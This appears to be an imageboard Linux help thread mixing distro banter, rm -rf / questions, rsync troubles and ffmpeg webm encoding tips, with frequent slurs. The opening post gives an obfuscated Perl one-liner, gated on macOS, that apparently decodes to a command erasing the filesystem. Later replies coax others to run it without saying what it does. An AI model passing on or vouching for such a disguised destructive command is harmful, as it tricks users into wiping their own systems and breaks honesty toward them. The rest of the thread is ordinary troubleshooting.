>[ $(uname) = "Darwin" ] && perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
FTFY

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>>59089819
Just switched to Gentoo :^)

>>59090214
the heck does this do

>>59090149
no i ran
% sudo portsnap fetch update && sudo portmaster -a

>>59090240
you should try it. perl is a very expressive language

Purely out of interest
If I run sudo RM -rf /, does the drive represented by /Dev/sdax get deleted?

>>59090208
Arch users wrote that wiki for you to use you """grown ups""" to use, you ungrateful faggot

>>59090261
no, rm -rf / is a meme made up by windows users who don't understand shit works, read "man rm"

>>59090261
no, the partition and filesystem remain

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>>59090261

>>59090261
everything gets deleted. there was a case where some archfag thought he's be cool by doing it on a laptop before he reformatted it, and it bricked his motherboard, because systemd mounted uefi firmware under /sys with write permission.
yet another reason systemd is a cancer

>>59082427
depends on what permission you're running at
biggest fuckup I've made was wiping out everything from my regular user's home directory
nothing earth shattering, but definitely more painful that I liked

>>59089292
>Here's a question: Realistically how easy is Linux to use for day to day shit nowadays?
better than windows imo.
Can't tell campared to OS X, but it doesn't seems better.

>Hardware support
Improved a lot. Only some laptops might have a problem with the touchpad according some people, but I never had anything myself.
printers works fine, GPU shows nice performances in recent video games, wifi works fine out of the box

>Software support
everything is fine. I never had to compile anything that wasn't related to programming or something a normal user wouldn't need. Everything are in the repos nowadays.
>enter 10k commands in a terminal to get a fucking music player to work
If you go with debian or similar you might need to install proprietary drivers manually so don't. On other distro it's a bit easier since proprietary packages are available by default.

>How much have they improved? Can any non-fanboys answer this objectively?
A lot.
I recommend you to try a live distro and make up your mind. You'll need to use the command line for the package manager tho.
It will also permit you to see if your hardware is supported correctly or not, which is a good thing.

I ran this rsync command

sudo rsync --progress -ru source/ dest/

I had to stop the command in the middle of it, but after I stopped it and checked, all the files were gone from the source. Can someone tell what the fuck just happened?

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>>59090210
because he pays well

>>59090358
you translate shit for him?

>>59090358
font?

>>59090237
what kernel version are you using , faggot?

i'm looking at grabbing a flavor of ubuntu and the budgie desktop looks pretty cool. has anyone used it and found it particularly bad?

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>>59090214
lel

>>59090407
Its shit.

>>59090329
doesn't rm just unlink stuff?
it shouldn't overwrite his uefi firmware

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>>59090370
are you jealous that i know him in person or something?

>>59090383

>>59090413
i really should start posting ones that operate on ~ instead of /
but that would be just plain evil....

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>>59090423

>>59090423
>

cat .Xresources

>not

cat < .Xresources

>>59090355
rsync is innocent something else deleted those files

>>59090423
thanks

>>59090440
i thought you were a faggot for using smgl, then i thought you were a faggot for saving and reposting the picture of him i posted last week or whenever to make fun of you, this is a level of faggotry i have never imagined. congratulations.

>>59090473
:D

>>59090423
>>59090449
>cat
>not pg

>>59090503
>using meme programs

>>59090315
You're not root

>>59090420
https://github.com/systemd/systemd/issues/2402

i think what actually happens on the physical volume is left up to the driver.

>>59090449
>making 2-3 extra keystrokes

>>59090503
>implying i want to page

>>59090526
prints the same with sudo

>>59090530
>making 2-3 extra keystrokes
hunt-n-peck much?

>>59090503
>pg
>not most

>>59090548
>using an additional program to have colored less instead of just configuring less
go back to your mac

>>59090548
>most
>not

 cp $1 /dev/mem && cat /dev/mem

>>59090547
no. just that lazy

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>>59090530
People really need to to bully him.

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>>59090582

>>59090547
i'll that as a yes.

>>59090582
stop*, typo

>>59090579
>cp $1 /dev/mem && cat /dev/mem
>not cowsay < file

>>59090582
>>59090530
this settles it
goodbye systemd
hello openrc

>>59090396
3.14.58-r1 and dont call me a faggot!

GNU/Linux is just a stepping stone.

>>59090700
torwards?

>>59090700
towards?

>>59090700
your mom is a jump off too.

>>59090700
torvalds?

>>59090710
>>59090711
GNU/HURD

>>59090700
>>59090710
>>59090711
>>59090717
>>59090728
>>59090735
Windows 10.

>>59090735
you mean GNU/TURD

>>59090710
>>59090711
real unix

>>59090735
some day ...

>>59090735
will still be called just linux

>>59090753
>Towards an unusable system.
oh man

>>59090753
gtfo mactoddler

>>59090785
>mac
>real unix
W R O N G !

>>59090771
>It's already called Slackware Linux
FTFY

>>59090799
I'm not a Mac user but just to play devil's advocate, isn't MacOS and Darwin much closer to real Unix then Linux ever was? They're based on bsd which is literally based on Unix.

>>59090835
MacOS is the same kind of unix as Gnome

>>59090835
https://en.wikipedia.org/wiki/MacOS

>>59090785
>mactoddler
guess again gnutard

>>59090849
>>59090856
From Wikipedia
"Mac OS is Unix based"
"Linux is Unix like"

>>59090884
>"Linux is Minix derivative"
FTFY

᠎>᠎>59090748
>he thought it was funny

>>59090799
friendly reminder that UNIX is a trademark owned by apple

>>59090899
it was rewritten from scratch iirc

>>59090735
GNU/HURDK16*

>>59090902
>cant link correctly
lol died

New thread?

Also:
>>59088411
while :; do printf "\e]11;#$(openssl rand -hex 3)\a"; done

Terminal disco. :^)

>>59090915
>derivative
do you not know what this means?

>>59090906
Bell Labs/AT&T*

᠎>᠎>59090916
>thinking he will get (You)'s from me

>>59090835
"Real Unix" is a meme. It doesn't matter how similar your OS is to a primitive OS from the 1970s. Some things we do better these days, so the difference makes modern OSs superior. Ye Olde Unix has immense historical and cultural significance but very little technical significance anymore.

>>59090944
whoops meant >>59090916

>>59090931
calm down, not everyone knows calculus. the education system in the US is terrible

᠎>᠎>59090957
>replying to himself while pretending to be somebody else
>thinking the (You)'s he gives himself are almost as good as real (You)'s

for >>59090957

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>>59090944
>mfw this wizardry

>>59076540
i love this meme

>>59091072
you can just use a space.

I usually am on windows making porn webm's for /gif/.

I use a preset for ffmpeg to encode the video into webm format- my version of webm for retards and just changed bit rate and resolution as desired.


ffmpeg -i penis.mp4 -c:v libvpx -crf 4 -b:v 1820K -vf scale=640:-1 output.webm

This worked fine on windows but when I use it on xubuntu I get

>Error: Bad audio stream. Only Vorbis is supported.

If I add -an and remove the audio it can be posted. how to convert to vorbis?

>>59091196
why are you still using windows?

>>59091196
-c:a libvorbis

>>59091196
I wondering why 4chan needs to restrict formats. What's the point of this crap?

More thread here: >>59091302

>>59091196
https://trac.ffmpeg.org/wiki/TheoraVorbisEncodingGuide
You might want to check if you even have libvorbis in your ffmpeg with
ffmpeg -codecs | grep libvorbis

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>>59091238
Thank you, you just saved me 3-4 hours. You are a gentleman and a scholar and deserve 5 gold stars, and many more things besides that.


>>59091212
video games and better functionality out of the box. I cant drag and drop pictures out of firefox on xubuntu for god knows what reason(it saves the url, toplel), and file folders view preferences are global (stupid stupid stupid) among other various tiny things. Ive been using xubuntu for two weeks and the file system has crashed like 8 times. I'm sure I could fix and modify these things, but windows has them out of the box, you dont have to spend a week fiddling with it and combing support forums.

I will say though, linux is doing fantastic on my backup computer with only a ten year old brisbane dual core CPU and 2 gigs of ram. It is the best solution for me right now until I fix my PC.

>>59091265
my guess would be to save on bandwidth.

>>59076457
Wow what a faggot looking sissy homo
I would never use a website made by him

>>59091428
>my guess would be to save on bandwidth.
by allowing only the older vp8/vorbis over vp9/opus?
sure

>>59092395
I looked into this a while back and I remember there is actually a reason why we don't have vp9 here other than laziness. It was something to do with the way it is decoded being intenstive and/or how widespread support for it is. Basically it would be great if everyone was using the latest software on their home computer to browse the site but of course that's not the case. I can't for the life of me find the article that described all this and it was about 6 months ago so things may have changed.

As far as bandwidth goes having vp9 wouldn't make a difference to that anyway, since the upload limit would still be 3mb.

>>59092716
>As far as bandwidth goes having vp9 wouldn't make a difference to that anyway, since the upload limit would still be 3mb.
an equal-quality clip will be smaller
just like going from gif to vp8, though that is a far more extreme case

>>59092752
People generally don't aim for a certain quality when they make a webm for this site, they just want to be as close to 3mb as possible without going over with whatever quality they can get to do that. I usually reduce resolution down to 800:-1 or too, there's no point in 1080 webms.

Also it would be fucking awesome if ffmpeg included frame interpolation natively.